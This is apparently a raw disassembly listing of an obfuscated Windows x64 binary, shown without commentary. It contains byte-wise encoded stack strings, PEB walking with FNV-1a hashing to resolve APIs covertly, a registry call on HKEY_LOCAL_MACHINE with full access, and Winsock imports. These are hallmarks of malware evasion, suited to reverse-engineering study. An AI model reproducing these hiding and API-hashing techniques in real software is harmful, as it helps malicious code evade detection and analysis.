jmp 0x14014dd34
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x14014db32
movabs rcx, 0xc670507b6342977c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x64
jmp 0x14014de35
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x14014da45
movabs rdx, 0xbad349fb37876db0
mov ecx, Ordinal_27
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14014de32
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14014db94
movabs rdx, 0x922db33a9e785b66
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14014ddec
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14014dbc3
movabs rdx, 0x7af3a63a470207ce
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14014de35
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14014dbee
movabs rcx, 0x63b99939ef8bb436
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x7a
jmp 0x14014dea8
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x14014dc19
movabs rcx, 0x4c7f8c399815609e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x52
jmp 0x14014dee1
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x14014d8a4
movabs rcx, 0x35457f39409f0d06
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x2a
jmp 0x14014df68
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14014dc65
movabs rdx, 0x183ceef8d34b2488
mov ecx, 0x24
jmp 0x14014da9a
cmp rdi, rcx
jne 0x14014dc8b
movabs rdx, 0xc9fe878a78ffabc
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x24
jmp 0x14014dd84
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14014dcb7
movabs rcx, 0xe9c8d4f8245e7d58
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x68
jmp 0x14014dea8
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14014dcd4
movabs rdx, 0xc6f1c177a12cfff4
mov ecx, Ordinal_46
jmp 0x14014db4e
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x14014d852
movabs rcx, 0xbb54baf77571d628
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x18
jmp 0x14014ddec
mov byte [rbp + r9 + 0xd90], bl
jmp 0x14014df77
movabs rdx, 0xa41aadf71dfb8290
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 8
sub cl, al
lea ebx, [rcx + rcx]
add bl, byte [rbp + r9 + 0xd90]
add bl, dl
add bl, r8b
jmp 0x14014de5b
movabs rcx, 0x987da776f24058c4
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, byte [rbp + r9 + 0xd90]
lea ebx, [r8 + rcx]
sub bl, 0x5c
jmp 0x14014dee1
movabs rdx, 0x292707bcd6f97ac2
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x4e
add bl, dl
jmp 0x14014df13
movabs rcx, 0x406114bd2e6fce5a
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x76
jmp 0x14014deab
movabs rcx, 0x6338283db1a14bbe
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x32
jmp 0x14014de35
movabs rdx, 0x7a72353e09179f56
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x5a
add bl, dl
movabs rcx, 0xa9e9313733d91776
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x3a
add r8b, cl
mov byte [rbp + r9 + 0xd90], r8b
jmp 0x14014de32
movabs rcx, 0x9d4948be8c491cba
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, r12b
add r10, rsi
sub r9, rsi
jmp 0x14014df77
movabs rdx, 0xb48355bee3bf7052
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x3e
add bl, dl
movabs rdx, 0x9e4c2ab7081dedaa
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
add cl, cl
add cl, bl
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0xd90], cl
jmp 0x14014dea8
movabs rdx, 0xc0205c3f0f7a9a1e
mov ecx, reloc.WS2_32.dll_socket
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
add rdi, r10
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x14014df77
mov r8, r11
movabs rdx, 0xd75a693f66f0edb6
add rdx, r9
mov al, dl
and al, r11b
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
movabs rdx, 0x92af2436dc62c3de
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub cl, 0x12
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0xd90], al
add r10, rsi
add rax, r10
sub r9, rax
movabs rdx, 0x8ce0a0f6c6852ef8
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_32
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0xd90], cl
add rdi, rsi
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x14014df68
movabs rcx, 0xee94763fbe67414e
add rcx, r9
mov al, r11b
and al, cl
add al, al
sub r11b, al
lea ebx, [rcx + r11]
sub bl, 0x22
movzx eax, byte [rbp + r9 + 0xd90]
add rax, r10
add r9, rax
add r9, rsi
jmp 0x14014d429
movabs rdx, 0xfbb5cfb4a3e1a482
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14014d426
movabs rcx, 0x752d634cf9cce4e
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x22
jmp 0x14014d416
lea rdx, [rbp + 0x1600308]
jmp 0x14014dfe1
lea rdx, [rbp + 0x1026e22]
jmp 0x14014dfe1
lea rdx, [rbp + 0xd90]
lea rcx, [rbp + 0x500]
call fcn.1400caa9c
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x20e0]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x14014e016
mov rdx, qword [rbx]
mov dword [rsp + 0x20], esi
mov r9d, r15d
mov r8d, r14d
lea rcx, [rbp + 0x20e0]
call fcn.1400ca964
nop
lea rcx, [rbp + 0x20e0]
call fcn.1401aa82c
nop
lea rcx, [rbp + 0x20e0]
call fcn.14008b590
nop
mov rcx, rbx
call fcn.140091ed0
mov byte [rbp + 0x670], Ordinal_60
mov byte [rbp + 0x671], Ordinal_143
mov byte [rbp + 0x672], 0x61
mov byte [rbp + 0x673], 0xf3
mov byte [rbp + 0x674], 0x5a
mov byte [rbp + 0x675], 0xf1
mov byte [rbp + 0x676], 0x62
mov byte [rbp + 0x677], 0xf7
mov byte [rbp + 0x678], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x679], 0xf5
mov byte [rbp + 0x67a], 0x5b
mov byte [rbp + 0x67b], 0xfb
mov byte [rbp + 0x67c], WSACleanup
mov byte [rbp + 0x67d], 0xf9
mov byte [rbp + 0x67e], 0x5b
mov byte [rbp + 0x67f], 0xff
mov byte [rbp + 0x680], r15b
mov byte [rbp + 0x681], 0xfd
mov byte [rbp + 0x682], 0x59
mov byte [rbp + 0x683], 0xe3
mov byte [rbp + 0x684], Ordinal_79
mov byte [rbp + 0x685], 0xe1
mov byte [rbp + 0x686], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x687], 0xe7
mov byte [rbp + 0x688], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x689], 0xe5
mov byte [rbp + 0x68a], 0x7f
mov byte [rbp + 0x68b], 0xeb
mov byte [rbp + 0x68c], 0x7a
mov byte [rbp + 0x68d], 0xe9
mov byte [rbp + 0x68e], Ordinal_79
mov byte [rbp + 0x68f], 0xef
mov byte [rbp + 0x690], 0x7a
mov byte [rbp + 0x691], 0xed
mov byte [rbp + 0x692], 0x88
mov byte [rbp + 0x693], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x694], 0x84
mov byte [rbp + 0x695], Ordinal_211
mov byte [rbp + 0x696], Ordinal_217
mov byte [rbp + 0x697], Ordinal_217
xor eax, eax
mov qword [rbp + 0x698], rax
mov bl, byte [rsp + 0x50]
call fcn.1401ac500
mov rdi, qword [rax]
call fcn.1401ac508
mov r10, qword [rax]
mov r9, r13
cmp r9, 0x30
jae 0x14014ed04
movzx r8d, byte [rbp + r9 + 0x670]
mov rdx, r8
cmp rdi, r9
ja 0x14014ecfb
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x14014e1d2
movabs r11, 0xa56801fc54f0c73e
lea rcx, [r9 + r11]
mov rax, rcx
and rax, rdx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, rdx
add bl, 0x4e
jmp 0x14014e216
je 0x14014ec7a
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14014ebf2
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14014ebc5
lea rax, [r10 + 4]
cmp rdi, rax
je 0x14014eb7a
lea rax, [r10 + 8]
cmp rdi, rax
je 0x14014eb29
movabs r11, 0xa56801fc54f0c73e
cmp r10, r9
ja 0x14014ecf2
lea rax, [r10 + 0x5a]
cmp rdi, rax
jae 0x14014e23c
movabs rdx, 0x918829b2f7c05816
mov ecx, 0x33
jmp 0x14014e451
lea rax, [r10 + 1]
cmp rdi, rax
je 0x14014eb18
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14014eaf5
lea rax, [r10 + 4]
cmp rdi, rax
je 0x14014eacf
lea rax, [r10 + 5]
cmp rdi, rax
je 0x14014eaa9
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14014ea8b
lea rax, [r10 + rdi]
cmp rax, r9
jbe 0x14014e77c
lea rax, [r10 + 4]
cmp rdi, rax
je 0x14014e75b
lea rax, [r10 + 8]
cmp rdi, rax
je 0x14014e735
lea rax, [r10 + 0x400]
cmp rdi, rax
je 0x14014e712
lea rax, [r10 + 0x7a]
cmp rdi, rax
je 0x14014e6ee
lea rax, [r10 + 0x2a]
cmp rdi, rax
je 0x14014e6cb
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14014e6a8
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x14014e696
lea rax, [r10 + 0x3e8]
cmp rdi, rax
je 0x14014e673
lea rax, [r10 + 0x61]
cmp rdi, rax
je 0x14014e65f
lea rax, [r10 + 9]
cmp rdi, rax
je 0x14014e28a
lea rdi, [r10 + 5]
lea r10, [rdi + 0x20]
lea rax, [r10 + 9]
cmp rdi, rax
jb 0x14014eccf
lea rax, [r10 + 0x1000]
cmp rdi, rax
jb 0x14014ecac
lea rax, [r10 + 0x41]
cmp rdi, rax
jb 0x14014e48b
lea rax, [r10 + 1]
cmp rdi, rax
jb 0x14014e468
lea rax, [r10 + 0x40]
cmp rdi, rax
jb 0x14014e442
lea rax, [r10 + 0x80]
cmp rdi, rax
jb 0x14014e63e
lea rax, [r10 + 0x400]
cmp rdi, rax
jb 0x14014e61d
lea rax, [r10 + 6]
cmp rdi, rax
jb 0x14014e5f9
lea rax, [r10 + 0xa]
cmp rdi, rax
jb 0x14014e5ce
lea rax, [r10 + 0x28]
cmp rdi, rax
jb 0x14014e28a
lea rdi, [r10 + 0x3e8]
lea r10, [rdi + 0x64]
lea rax, [r10 + 0x61]
cmp rdi, rax
ja 0x14014e5ba
lea rax, [r10 + 0x5a]
cmp rdi, rax
ja 0x14014e599
lea rax, [r10 + 0x20]
cmp rdi, rax
ja 0x14014e578
lea rax, [r10 + 0x42]
cmp rdi, rax
ja 0x14014e564
lea rax, [r10 + 0x200]
cmp rdi, rax
ja 0x14014e541
lea rax, [r10 + 4]
cmp rdi, rax
ja 0x14014e51b
lea rax, [r10 + 8]
cmp rdi, rax
ja 0x14014e4f8
lea rax, [r10 + 0x10]
cmp rdi, rax
ja 0x14014e4d5
lea rax, [r10 + 0x40]
cmp rdi, rax
ja 0x14014e4b1
lea rax, [r10 + 0x2a]
cmp rdi, rax
ja 0x14014e28a
lea rdi, [r10 + 0x7a]
lea r10, [rdi + 3]
jmp 0x14014e28a
movabs rdx, 0xcf7914021ebc2eaa
mov ecx, reloc.WLDAP32.dll_Ordinal_45
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14014e27d
movabs rdx, 0x84a9100974daa02e
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x42
add bl, dl
jmp 0x14014e216
movabs rdx, 0x39d90c10caf911b2
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14014e19a
movabs rdx, 0x8c414d97be02c0b0
mov ecx, Ordinal_27
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x14014eb45
movabs rcx, 0x4171499f14213234
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x6c
jmp 0x14014eb6f
movabs rcx, 0xf6a145a66a3fa3b8
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 8
jmp 0x14014eb72
movabs rdx, 0xabd141adc05e153c
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14014eb98
movabs rcx, 0x61013db5167c86c0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, r15b
jmp 0x14014ebc0
movabs rdx, 0x163139bc6c9af844
mov ecx, reloc.WS2_32.dll_select
jmp 0x14014eab8
movabs rdx, 0xcb6135c3c2b969c8
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x78
jmp 0x14014ea84
movabs rdx, 0x809131cb18d7db4c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x14
jmp 0x14014e68f
movabs rdx, 0x35c12dd26ef64cd0
mov ecx, Ordinal_41
jmp 0x14014e969
movabs rcx, 0xfab923e4c642689a
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x36
mov byte [rbp + r9 + 0x670], bl
jmp 0x14014eca4
movabs rdx, 0xafe91fec1c60da1e
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x14014e812
movabs rdx, 0x65191bf3727f4ba2
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x6e
jmp 0x14014e7da
movabs rdx, 0x1a4917fac89dbd26
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0xa
jmp 0x14014e79f
movabs rdx, 0x6930fa31ce821084
mov ecx, reloc.WLDAP32.dll_Ordinal_50
jmp 0x14014e969
movabs rdx, 0x1e60f63924a08208
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x38
add bl, dl
jmp 0x14014ec45
movabs rdx, 0xd390f2407abef38c
mov ecx, r12d
jmp 0x14014e888
movabs rcx, 0x88c0ee47d0dd6510
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x70
jmp 0x14014ebe0
movabs rcx, 0x3df0ea4f26fbd694
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0xc
jmp 0x14014ebc0
movabs rdx, 0xf320e6567d1a4818
mov ecx, Ordinal_46
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x14014eb96
movabs rcx, 0xa850e25dd338b99c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x44
jmp 0x14014eb72
movabs rdx, 0x5d80de6529572b20
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14014eb6f
movabs rdx, 0x12b0da6c7f759ca4
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x7c
jmp 0x14014eb45
lea rax, [r10 + 6]
cmp rdi, rax
jae 0x14014e846
lea rdx, [r9 + r11]
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
lea rax, [r10 + rdi]
cmp rax, 0x80
je 0x14014ea5d
lea rax, [r10 + 0x40]
cmp rdi, rax
jbe 0x14014e8e7
movabs rdx, 0x69c879203d5f79c6
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x6a
add bl, dl
cmp rdi, 0x1000
jae 0x14014ea37
lea rax, [r10 + 1]
cmp rdi, rax
jbe 0x14014e980
movabs rdx, 0xfb50a2d3351fd1dc
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 4
add bl, dl
cmp r10, 9
jb 0x14014e5ec
movabs rdx, 0xe770ca89d7ef62b4
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 0xa
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
lea ebx, [rcx + rcx]
jmp 0x14014eb47
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14014e872
movabs rcx, 0x23105365ef80b02c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x34
jmp 0x14014ec95
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14014e89a
movabs rdx, 0xb8b05b574343cd24
mov ecx, r14d
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x14014ea81
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14014e8c6
movabs rcx, 0x3805f4fed255ba0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x60
jmp 0x14014ebe0
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14014e7a1
movabs rdx, 0x4e5063489706ea1c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
jmp 0x14014eade
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14014e904
movabs rdx, 0xb4987d18e7410842
mov ecx, Ordinal_27
jmp 0x14014e4c0
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14014e930
movabs rcx, 0xff688111912296be
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x32
jmp 0x14014eb6f
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14014e94d
movabs rdx, 0x95088902e4e5b3b6
mov ecx, 3
jmp 0x14014e6fd
lea rax, [r10 + 9]
cmp rdi, rax
jne 0x14014e7dc
movabs rdx, 0xb189cde364d7c22
mov ecx, 9
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14014ec95
jne 0x14014e9a5
movabs rcx, 0x4620a6cbdf016058
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x68
jmp 0x14014ec95
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14014e9cf
movabs rdx, 0xdbc0aebd32c47d50
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x30
jmp 0x14014ea84
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14014e9ec
movabs rdx, 0x2690b2b5dca60bcc
mov ecx, gethostname
jmp 0x14014eab8
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14014ea16
movabs rdx, 0xbc30baa7306928c4
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x5c
jmp 0x14014eb96
lea rax, [r10 + 8]
cmp rdi, rax
jne 0x14014e814
movabs rdx, 0x9ca0c6912e0dd438
mov ecx, reloc.WLDAP32.dll_Ordinal_60
jmp 0x14014e4c0
movabs rdx, 0x3240ce8281d0f130
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, byte [rbp + r9 + 0x670]
sub bl, al
sub bl, 0x50
jmp 0x14014e70a
movabs rdx, 0x7d10d27b2bb27fac
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r9 + 0x670]
add bl, r8b
add bl, dl
jmp 0x14014ec13
movabs rdx, 0x9d38457f9ceb3d7a
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x56
jmp 0x14014ea84
movabs rdx, 0x52684186f309aefe
mov ecx, 7
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14014ebe0
movabs rdx, 0x7983d8e49282082
mov ecx, reloc.WS2_32.dll_gethostname
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14014ebc0
movabs rdx, 0x71f8359cf565038a
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14014eb72
movabs rdx, 0xdc582daba1a1e692
mov ecx, esi
jmp 0x14014e4c0
movabs rdx, 0x46b825ba4ddec99a
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x36
add bl, dl
movabs rdx, 0x8cd8cc862ce029f2
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0x670], cl
add r10, rsi
sub r9, rsi
jmp 0x14014eca4
movabs rdx, 0x664819d0503a1e26
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0xa
add bl, dl
movabs rdx, 0xd7a8d07ed6c1b86e
add rdx, r9
mov al, dl
and al, r8b
add al, al
mov cl, bl
sub cl, al
add cl, dl
add cl, r8b
sub cl, r14b
mov byte [rbp + r9 + 0x670], cl
add rdi, r10
jmp 0x14014ebe0
movabs rcx, 0xd0a811defc77012e
add rcx, r9
mov al, cl
and al, dl
add al, al
sub dl, al
lea ebx, [rcx + rdx]
sub bl, 0x42
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x14014eca4
mov r8, rdx
movabs rcx, 0x85d80de6529572b2
add rcx, r9
and dl, cl
mov eax, reloc.WS2_32.dll_recvfrom
sub al, dl
lea ebx, [rax + rax]
add bl, r8b
add bl, cl
movabs rdx, 0x2278d47780a346ea
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub cl, 0x66
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0x670], al
add r10, rsi
add rax, r10
sub r9, rax
movabs rcx, 0xc7e0d673d5940e28
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x18
add r8b, cl
mov byte [rbp + r9 + 0x670], r8b
add rdi, rsi
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x14014ec95
movabs rcx, 0xf03805f4fed255ba
add rcx, r9
mov al, dl
and al, cl
add al, al
sub dl, al
lea ebx, [rcx + rdx]
sub bl, r12b
movzx eax, byte [rbp + r9 + 0x670]
add rax, r10
add r9, rax
add r9, rsi
jmp 0x14014e187
movabs rcx, 0xef09081821178336
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x7a
jmp 0x14014e184
movabs rcx, 0xa439041f7735f4ba
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, r12b
jmp 0x14014e174
lea r12, [rbp + 0x145e418]
jmp 0x14014ed0b
lea r12, [rbp + 0x136ab56]
jmp 0x14014ed0b
lea r12, [rbp + 0x670]
mov r10, qword [0x1404fc178]
test r10, r10
jne 0x14014ee75
mov esi, r13d
mov r14d, 0xeced0b92
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x14014ed87
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14014ed7a
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14014ed6b
cmp edx, esi
jne 0x14014ee59
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r11d, eax
add r11, r9
shr rax, 0x20
cmp r11, r9
je 0x14014ee59
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x14014ee59
mov edi, dword [r11 + 0x20]
dec r10d
lea rdx, [r9 + r10*4]
mov r8d, dword [rdx + rdi]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14014eddb
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14014edd0
cmp edx, r14d
je 0x14014edf1
test r10d, r10d
jne 0x14014edbb
jmp 0x14014ee59
mov r8d, dword [r11 + 0x1c]
add r8, r9
mov edx, dword [r11 + 0x24]
add rdx, r9
movzx edx, word [rdx + r10*2]
mov r10d, dword [r8 + rdx*4]
add r10, r9
cmp r10, r11
jbe 0x14014ee6e
lea rcx, [rax + r11]
cmp r10, rcx
jae 0x14014ee6e
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [r10]
cmp al, 0x2e
je 0x14014ee4c
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r10, rcx
jmp 0x14014ee28
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r10, rcx
mov al, byte [r10]
test al, al
jne 0x14014ee3f
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x14014ee6b
cmp qword [rbx + 0x30], r13
jne 0x14014ed3b
mov r10, r13
mov qword [0x1404fc178], r10
mov qword [rsp + 0x40], r13
lea rax, [0x1404fba68]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
mov rdx, r12
mov rcx, 0xffffffff80000002
call r10
mov rdx, qword [0x1404fc118]
test rdx, rdx
jne 0x14014f012
mov esi, r13d
mov r14d, 0xcded1a85
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
movups xmm0, xmmword [rcx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
mov r15d, 0x811c9dc5
test esi, esi
je 0x14014ef28
mov rdx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r9, [rdx + rax*2]
mov r8d, r15d
jmp 0x14014ef1a
movsx eax, byte [rdx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rdx, 2
cmp rdx, r9
jne 0x14014ef09
cmp r8d, esi
jne 0x14014f001
mov r10, qword [rcx + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r11d, eax
add r11, r10
shr rax, 0x20
cmp r11, r10
je 0x14014f001
mov ebx, dword [r11 + 0x18]
test ebx, ebx
je 0x14014f001
mov edi, dword [r11 + 0x20]
mov r12d, 1
dec ebx
lea r8, [r10 + rbx*4]
